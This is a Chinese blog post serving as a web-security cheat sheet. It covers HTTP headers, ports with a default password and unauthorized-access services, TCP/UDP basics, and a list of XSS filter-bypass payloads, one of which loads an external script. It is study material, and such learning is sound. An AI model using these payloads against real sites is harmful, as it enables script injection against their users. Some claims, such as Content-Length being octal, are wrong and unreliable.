web安全备忘录
Roy Lv7

目录

  1. 基本网络思维模型
  2. TCP&UDP 笔记
  3. XSS 备忘录
  4. SSRF 备忘录
  5. 逻辑漏洞备忘录
  6. 上传漏洞备忘录
  7. PHP 远程代码执行备忘录
  8. 引用XXE 外部实体注入
  9. RCE_bypass 笔记

    0x1 基本网络思维模型

    1.1 技术架构CS(Client/Server)
    Client 指的是客户端,我们每个人的电脑都可以当做一个客户端,日常的一些上网,使用谷歌浏览器搜索东西,打开视频软件浏览视频,打开音乐播放器下载歌曲…这些操作都是要与远方的另一台电脑进行通信的,远方的那台计算机称为服务器(Server)
    1.2 技术架构BS(Browser/Server)
    通过浏览器访问服务器端的都可以称为BS架构。

Tips:通常的话 BS 架构也是在 CS 架构里面的,但是因为互联网发展迅速,更新换代太快,所以单独将 BS 架构这块分了出来。

1.3 HTTP请求头
协议头 说明
X-Forwarded-For 用来表示 HTTP 请求端真实 IP
Accept 可接受的响应内容类型(Content-Types)
Accept-Charset 可接受的字符集
Accept-Encoding 可接受的响应内容的编码方式
Accept-Language 可接受的响应内容语言列表
Accept-Datetime 可接受的按照时间来表示的响应内容版本
Cookie 由之前服务器通过Set-Cookie(见下文)设置的一个HTTP协议Cookie
Content-Length 以8进制表示的请求体的长度
Content-MD5 请求体的内容的二进制 MD5 散列值(数字签名),以 Base64 编码的结果
Content-Type 请求体的MIME类型 (用于POST和PUT请求中)
Date 发送该消息的日期和时间
Expect 表示客户端要求服务器做出特定的行为
From 发起此请求的用户的邮件地址
Host 表示服务器的域名以及服务器所监听的端口号。
Origin 发起一个针对跨域资源共享的请求(该请求要求服务器在响应中加入一个Access-Control-Allow-Origin的消息头,表示访问控制所允许的来源)。
Range 表示请求某个实体的一部分,字节偏移以0开始。
Referer 表示浏览器所访问的前一个页面,可以认为是之前访问页面的链接将浏览器带到了当前页面。
User-Agent 浏览器的身份标识字符串
1.4 HTTP响应头

| 响应头 | 说明 |
| ————————— | ———————————————————— | —-
| Access-Control-Allow-Origin | 指定哪些网站可以跨域源资源共享
| Accept-Patch | 指定服务器所支持的文档补丁格式
| Accept-Ranges | 服务器所支持的内容范围
| Age | 响应对象在代理缓存中存在的时间,以秒为单位
| Allow | 对于特定资源的有效动作;
| Cache-Control | 通知从服务器到客户端内的所有缓存机制,表示它们是否可以缓存这个对象及缓存有效时间。其单位为秒 |
| Connection | 针对该连接所预期的选项
| Content-Disposition | 对已知MIME类型资源的描述,浏览器可以根据这个响应头决定是对返回资源的动作,如:将其下载或是打开。
| Content-Encoding | 响应资源所使用的编码类型。
| Content-Language | 响应内容所使用的语言
| Content-Length | 响应消息体的长度,用8进制字节表示
| Content-Location | 所返回的数据的一个候选位置
| Content-Type | 当前内容的MIME类型
| Date | 此条消息被发送时的日期和时间
| Location | 用于在进行重定向,或在创建了某个新资源时使用。
| Proxy-Authenticate | 要求在访问代理时提供身份认证信息。
| Refresh | 用于重定向,或者当一个新的资源被创建时。默认会在5秒后刷新重定向。
| Server | 服务器的名称
| Set-Cookie | 设置HTTP cookie
| Status | 通用网关接口的响应头字段,用来说明当前HTTP连接的响应状态。
| Trailer | Trailer用户说明传输中分块编码的编码信息
| Transfer-Encoding | 用表示实体传输给用户的编码形式。包括:chunked、compress、 deflate、gzip、identity。

1.5 HTTP请求方式

GET\POST\PUT\COPY\DELETE\OPTIONS\PATCH

1.6 HTTP常见状态码

200、301、302、500、404、403、502

1.7 GET和POST的区别

浏览器限制GET接收的的长度,但是不限制POST提交的长度,POST提交的长度取决于服务器。

数据接收方式

GET请求接收的方式是通过浏览器的地址栏来接收的,而POST是通过表单隐藏式的提交数据。

1.8 局域网的简单通信(数据链路层)
  • 一般局域网都是通过交换机/路由器进行通信。
  • 很早之前的网络大部分是通过HUB(集线器)进行通信。
  • 缺点就是主机发送的数据包都会被其他的主机接收到,这个过程称为泛洪。
  • 交换机在此基础上进行了改进,使其变得更安全,同样也保留了HUB的一些功能。
  • 局域网通过MAC地址表来进行数据通信。
1.9 交换机主机通信过程
  1. 交换机 ARP 广播
  2. PC计算机接收响应
  3. 发送数据 —> 交换机转发并记录MAC地址
  4. 如果交换机的MAC表被填满,将会泛洪(ARP毒化)
  5. ARP欺骗 —> 伪造MAC地址来进行欺骗的效果

Tips:有些交换机重启的时候会清空MAC地址表。

0x2 TCP&UDP

1. 知名端口

系统程序所使用的端口号

1
2
3
4
5
6
7
8
telnet 23 
ftp 21
http 80
https 443
smtp 25
dns
53
DHCP 67
tftp 69
2. 动态端口

动态端口的范围时 1024-65535,当服务或者程序关闭时也就释放了所占用的端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1433 MSSQL 
1521 Oracle
3306 MySQL
5432 PostgreSQL
6379 redis
27017 Mongodb
5000 DB2
4848 glassfish
7001 WebLogic
2601 zebra路由,默认密码zebra
3389 远程桌面 (shift 后门)
8080 apache tomcat
5900 vnc 虚拟网络控制台
11211 memcache未授权访问
2181 Zookeeper未授权访问
3.查看端口
1
2
3
4
5
netstat -an | grep “:8080# 显示打开的端口所在协议。

lsof -i :8080 # 显示对应端口的服务名称(所用程序)。

netstat -anp | grep “:8080# 查看上面两条命令的综合信息

Tips:如果该服务不属于当前的用户,需要sudo权限(root)

4.UDP协议

UDP发送数据之前不需要建立连接

特点:
  1. 无连接
  2. 资源开销小
  3. 传输速度快
  4. udp每个数据包最大64k
优点:
  1. 传输速度快
  2. 不需要连接,资源开销小
缺点

传输数据不可靠,容易丢数据包,没有流量控制,当对方没有及时接受数据,发送方一直发送数据包会导致缓冲区数据溢出,电脑出现卡死情况,所有接受方需及时接受数据。

UDP 使用场景

当对网络通讯质量要求不高的时候,要求网络通讯速度尽量的快。

例如 :

  1. 音视频传输
  2. 共享屏幕软件
  3. 发送广播消息
特点:
  1. 无连接
  2. 资源开销小
  3. 传输速度快
  4. udp每个数据包最大64k
Python socket
1
2
3
4
import socket
socket.socket(AddressFamily,Type)
AddressFamily:IP地址类型;AF_INET代表ipv4类型、AF_INET6表示ipv6类型;
Type:套接字类型,可以是SOCK_STREAM (流式套接字,主要用于TCP协议) 或者 SOCK_DGRAM(数据报套接字,UDP协议)
5.TCP协议
面向连接

通信双方必须先建立连接才进行数据的传输,双方都必须为该连接分配必要的系统内核资源,以管理连接的状态和连接上的传输,双方间的数据传输都可以用过这一个连接进行,完成数据交换后,双方必须断开此连接,以释放系统资源,这种连接是一对一的,因此TCP不适合于广播的应用程序,基于广播的程序请使用UDP协议。

可靠传输
  1. tcp 采用发送应答机制

    tcp发送的每一条报文段必须得到接收方的应答才认为这个tcp报文段传输成功

  2. 超时重传

    发送端发出一个报文之后启动定时器,如果在定时时间内没有收到应答就重新发送这个报文段

  3. 错误效验

    检测数据到发送端到接收端之间是否有改动,直接丢弃这个数据包

  4. 流量控制和阻塞管理

    流量控制用来避免主机发送得过快而使接收方来不及完全收下。

TCP 使用场景

当对网络通讯质量有要求的时候,比如 HTTPHTTPSFTP等网络传输协议,POPSTMTP等邮件传输协议。

0x3 XSS

XSS 又叫CSS (Cross Site Script) , 跨站脚本攻击。以下为学习《心伤的瘦子XSS系列》的个人笔记,和其他总结的内容。

1. 一个普通反射型的XSS

1
http://localhost/xxxxxxxssssssssssss/xss.php?name=<script>alert(1)</script>

2. HTML编码

1
2
3
http://   
&#104;&#116;&#116;&#112;&#58;&#47;&#47;
&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;

Tips: 这三个是标签是相等的,都为 http:// ,其中 Hex 是十六进制编码,Dec 是十进制编码。

这种编码在 html 执行的前提是,必须在值里例如:

1
2
<a href=”xxx”>
<img src=”xxx”>

3. Unicode编码

Js中是允许使用 unicode编码的。

1
2
3
4
<  ==  “\x3c” == “\u003c”
> == “\x3e” == “\u003e”
空格 == “\x20” == ” \u0020”
.....

4. CSS编码

使用 Unicode 写中文字体名称,浏览器是可以正确的解析的。
例如:font-family: “5FAE8F6F96C59ED1”,表示设置字体为“微软雅黑”。
CSS 中 expression 用来把CSS属性和Javascript表达式关联起来。

1
<img src="URL" style='Xss:expression(alert(/xss/));'>

Tips: 但是这种的只能在IE6 , IE7 中才会触发。

5. 宽字节

Gbxxx系列编码。

1
2
%aa将%27吞并组成一个gbxxx字符 ==>  猏’
%aa%27 | alert(1)//

6. eval(string) 函数

eval 函数可计算某个字符串,并执行其中的的 JavaScript 代码。

1
eval('alert(1)')

7. fromcharcode() 函数

可接受指定的unicode编码的值,返回字符串,可以配合eval函数使用。

1
2
3
4
5
alert(1) ==> String.fromCharCode(97,108,101,114,116,40,49,41)


// 结合 eval() 函数
eval(String.fromCharCode(97,108,101,114,116,40,49,41))

8. 伪协议

1
2
3
4
Javascript:alert(document.domain) 
data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
vbscript: xxxx // IE中运行

9. URL编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
%0a  //  URL换行符  
%20 // 空格
! %21
" %22
# %23
$ %24
% %25
& %26
' %27
( %28
) %29
* %2A
+ %2B
......

10. JS 多行字符串

1
2
3
4
5
Var a='\
Test\
En\
//coding\
Aaa'

11. JS特性

1
2
& 比 = 优先级高
== 比 & 优先级高

Javascript 是从上到下按顺序执行的。

1
2
3
4
5
6
7
8
9
10
test()
function test(){
//code... 这种形式定义的函数会被优先解析
}

# 实际解析顺序
function test(){
//code... 这种形式定义的函数会被优先解析
}
test()

12. 注释符

1
2
3
//             // js注释
<!-- --> // HTML注释
/**/ // js注释

13. HTML属性

当元素失去焦点时发生的事件,按下tab键触发js。

1
<aaaa tabindex=1 onblur="alert(1)"></aaaa>

当元素获得焦点时发生的事件,按下tab键触发js。

1
<aaaa tabindex=1 onfocus="alert(1)"></aaaa>

14. JS 黑魔法

1.jjencode –将JS代码转换成只有符号的字符串。

1
网址:http://utf-8.jp/public/jjencode.html

2.aaencode –将JS代码转换成常用的网络表情。

1
网址:http://utf-8.jp/public/aaencode.html

3.Jsfuck –使用六个不同的字符来编写和执行代码。

1
网址:http://utf-8.jp/public/aaencode.html

15. 常用绕过 Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<svg/onload=prompt(1);>      // 短的xss_payload

<q/oncut=open()> // 短的xss_payload

<q/oncut=alert(1)> // 短的xss_payload

<scrip<script>t>alealertr(1)</scrip<script>t> // 过滤不严

<ScriPt>alErT(1)</sCripT> // 大小写绕过

<script>prompt(1);</script> // 过滤alert 情况下

<script src="http://www.secbook.info/demo.js"></script>

<div onclick="alert('xss')"> // 点击它后会触发

<div onmouseenter="alert('xss')"> // 用户鼠标移动到 div 上时会触发

<iframesrc="javascript:alert(2)">

<iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">

<%0ascript>alert(1);</script> // 语法 BUG
  • 本文标题:web安全备忘录
  • 本文作者:Roy
  • 创建时间:2020-06-18 23:23:03
  • 本文链接:https://www.yrzdm.com/2020/06/18/network-security-basic/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!